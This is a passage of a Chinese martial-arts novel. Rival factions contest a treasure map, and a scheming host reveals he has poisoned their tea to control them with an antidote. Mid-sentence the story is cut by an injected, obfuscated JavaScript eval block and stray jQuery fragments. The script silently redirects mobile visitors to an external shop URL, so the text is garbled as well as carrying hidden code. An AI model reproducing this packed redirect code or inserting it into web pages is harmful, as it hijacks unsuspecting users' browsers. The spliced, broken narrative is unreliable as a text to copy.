也不等众人回应,他立刻招来魏彦成,让他着人清理现场。死者被抬出去安置,重伤者则被带到别处裹伤。他有有意示好,还吩咐魏彦成多拿些金疮药和热水来分给众人。
许淑平暂时性命无忧,贺新韵猛松了一口气,马上取出药瓶去帮天魄门还活着的几个弟子上药。许淑平又转头向着骆雁声,强压住此刻复杂难言的情绪,请他也去帮忙看一看己方受伤之人,特别是苏茂霖。骆雁声红着眼沉默不语,只点了点头。
喜堂之上桌椅被打得七零八落,已经没有一处完好,魏宅的下人们进进出出,很快将场地清理出来。众人大战一场,正是疲累之际,便直接在打扫干净的地上坐下来,抱着茶壶茶碗,先给自己来上一大口,缓解一下因打斗导致的口渴和藏宝图即将现世而生的燥热。
魏菘泽早就发现了骆雁声,却碍于局势无暇顾及。一想到魏若琛已经吃了他的药快一个月,魏菘泽就遍体生寒。若非藏宝图更为重要,他必会先揪住这位骆神医的衣襟好好问一问他。
趁着这个机会,他终于得以走到他面前,咬着牙问道:“你到底是谁?”
他身侧的张久辉却率先认了出来“你是许淑平的师弟,‘天目三英’骆雁声?”
骆雁声微微颔首,自嘲道:“没想到时过境迁,江湖之中竟还有人认得在下。”
天目派虽已陨落,但“天目三英”的名头仍然响亮,特别是在襄阳武林大会后,关于许淑平的传闻屡屡被提起,即便是江湖后进也都多多少少听说过一些有关“天目三英”的事迹。不过三英之一的骆雁声,绝大部分人只知他早就退隐,并不清楚他的过往,也不认识他的面容。
刚才他露了一手上乘功夫,与传闻中他和许淑平少年时便纵横江湖的传闻相合,在场之人少不了要向他打望。
瞧着魏菘泽的神色,骆雁声不难猜到他再担心什么,便直接说:“你放心,医者自有仁心,我们从没想过要害你的儿子。”
“果真吗?”魏菘泽不肯轻易相信。
“天目派门规,医术只可救人,不得害人,即便是仇家也不可以。”许淑平替他补上一句。
魏菘泽虽然不服许淑平,但对她的性格恨清楚,她从不屑于耍心眼说假话。如此,他心中的隐忧便可暂且放下,集中精力应付接下来的一局。
“就请方公子把藏宝图拿出来,我们一同验一验真伪吧。”
魏菘泽瞧了一眼围在瑾瑜周边,即便喝水裹伤都不曾把眼睛从他身上错开一点儿的几个天魄门旧部,心中冷笑不止。既然都这么着急,那就让好戏开场吧。
众目睽睽之下,瑾瑜手握匕首,挑开袖窝处的一块补丁,从中抽出了一截丝帛。
在座哗然,没想到他还真能拿出一副图来,纷纷起身迈步,伸长了脖子去看瑾瑜手里的东西,那急不可耐的模样,和刚才魏菘泽拿出假图时一模一样。
早在刚刚众人休整之时,许淑平就已经期近了瑾瑜,防备着有人动手。这时,她赶在所有人之前先将他手上的图谱抢了过了,略看了几眼便低眉不语,良久才问他:“你是从哪里得来的?”
“晚辈不敢隐瞒,这副图是王三山老前辈交给我的。”
去岁武林大会,以杨世坤的名义行走江湖、实为王三山首徒的高鹏自刎于师父面前,临死时偷偷将此图塞给了王三山。王三山未出襄阳就被魏菘泽的人掳走,被关押到魏宅囚牢中才发觉自己衣襟中多了一副古怪图画。
结合武林大会上听来的只言片语,他猜测这就是武林中人心心念念的藏宝图。他担心魏菘泽若知道他手上有藏宝图必起歹念,便一直将其小心收藏,从未露出过半点消息。
和瑾瑜初次见面时他也没有提起此事,直到瑾瑜传话,告诉他紫璇一定会想办法将他救走,让他稍安勿躁之后,他才告诉瑾瑜,藏宝图在自己手上,未免被魏菘泽发觉,他将图埋在了牢房的角落,上面盖着干草,几个月来无人发现。
瑾瑜再度见到紫璇,从她那里得到将有行动,让他早做准备的暗示后,他才去原本关押王三山的那个牢房取走了藏宝图。齐雅雯用头上的簪子和衣料中抽出的丝线,将图缝在了他的衣服上。
他原本的打算是,等安全离开这里就将这幅图物归原主,何曾料到它还会派上别的用场。
然而,更令他没有想到的是,藏宝图的出现非但没有熄灭天魄门旧部们对许淑平的怒火,反而再次点燃了这批人的贪欲。
许淑平的反应足以说明这幅图是真的。于是,众人的目光迅速锁定在她的手上,身体也不由自主地变成了战斗姿态。每个人心里都在盘算,只要自己抢到了藏宝图,再设法把圣女弄到手上,何用魏菘泽施舍,单凭自己就能独占宝藏、称霸武林。
文远骥、骆雁声等人感受到周围散发出的浓浓杀气,立刻围拢过来,一致对外警惕着这群蠢蠢欲动之人。
见此情景,瑾瑜才意识到自己闯了大祸,他把这些人想得太过于简单了。利益面前,什么承诺、道义,通通都不存在。他转头去看紫璇,迫切地想知道她怎么想。可紫璇的眼睛望向别处,手中按剑,姿态极为紧张。
陡然升温的空气中,魏菘泽拍掌大笑:“诸位老朋友,省省力气吧,这幅图只能是我的。”
众人不明所以,都去看他,葛宏丰趁着其他人分神,以迅捷无比的身法蹿出,下一瞬却跪坐在了地上。他的子侄急忙想去扶他,可刚一站起来也立刻跌倒。
“别挣扎了,你们刚刚喝的茶水里下了毒,别说动武了,就连站起来多走两步都难如登天。”
薛粲不信邪,刀尖在地上一撑,起身的瞬间膝盖一软,人和刀同时栽倒。其余旧部的人马也是如此。
占志高瘫在地上骂道:“魏菘泽!你竟如此狡诈!”
可
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199348|130825||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
惜他受了内伤,又被毒限制住了气力,说话的声音并不响亮。
麻磊更加愤慨:“龙虎山非天魄门旧部,也没有参与你们刚刚的争斗,你做什么也给我下毒?”
“你忘了,不到一个时辰前,你可是给我跪下来,高喊着要追随我左右的。与此说那些虚文,不如让你们真得听我的话。”
这之中最为震惊的当属谢氏兄弟,谢立梁勉强支撑着伤重的谢立栋,横眉道:“你找到我,要我同你合作的时候可没有告诉我,你要用毒害我!”
“不不不,”魏菘泽得意地摆了几下手,“我可没想着毒死你们,只是想让你们听话点儿,别坏了我的好事。实话告诉你们,我用的毒非常特殊,吃下去便会脱力难起,可只要服上一点解药,立刻就能变得生龙活虎。”
“那你说,你要如何才会给我们解药?”张久辉较为沉稳,听说有解药马上问道。
“你们只需在这里乖乖坐一会儿,等我拿到了藏宝图自然会把解药给你。”
“就这么简单?”丁经业也中了毒,一路听下来,并不相信魏菘泽会这么轻易放过他们。
魏菘泽笑而不语。
文远骥一方有意提防,魏彦成送来的茶水他们碰都没碰,此刻正略有些痛快地欣赏着双方的博弈。
瑾瑜对这一切厌恶到了极点,既是为了戳穿魏菘泽,也是为了刺激这些贪婪之人,大声道:“他可不会这么好心。这种毒药有子母之分,你们刚刚吃下的毒只是个开始,三日之内服下解药,虽然会恢复气力,却无法完全解毒,须在下一个三日内再吃下解药,如此循环往复,你们就会成为他的傀儡。”
心思被说破,魏菘泽并不着恼,反而无所谓道:“只要你们肯在我的麾下乖乖为我办事,解药定不会短了你们的。否则的话,你们就等死吧。”
他不再理会这些人或是谩骂或是告饶的声音,径直来到文远骥面前,目光扫过瑾瑜以及他带来的几个弟子:“我不知道王三山是如何偷把解药送了出去,让你们暂时解除了毒性,能在这里活奔乱跳。但你们别忘了,过了今天,要是拿不到新的解药,这条命还是会折在这里。”
魏菘泽转向文远骥:“你不是一向以仁义宽和自居吗?如今他们的命就掌握在你的手上,把藏宝图给我,圣女留下,我就可以把解药给你们。”
“然后呢,让我们所有人被你的解药扼住喉咙,永远供你驱使吗?”江邵谦比文远骥先骂了出来。
“当然,你们也可以选择独善其身,让这些年轻的子弟们自生自灭。我倒是无所谓,只是你文远骥还能不能安坐在太白山中就不好说了。”
“你得算盘打得不错。可惜呀,王老前辈忘了告诉你,这名为‘噬魂散’的毒药并非没有彻底的解法。”
骆雁声自后方步出,语调淡然,面无表情,却用一句话让在场几乎所有人的眼睛都亮了起来。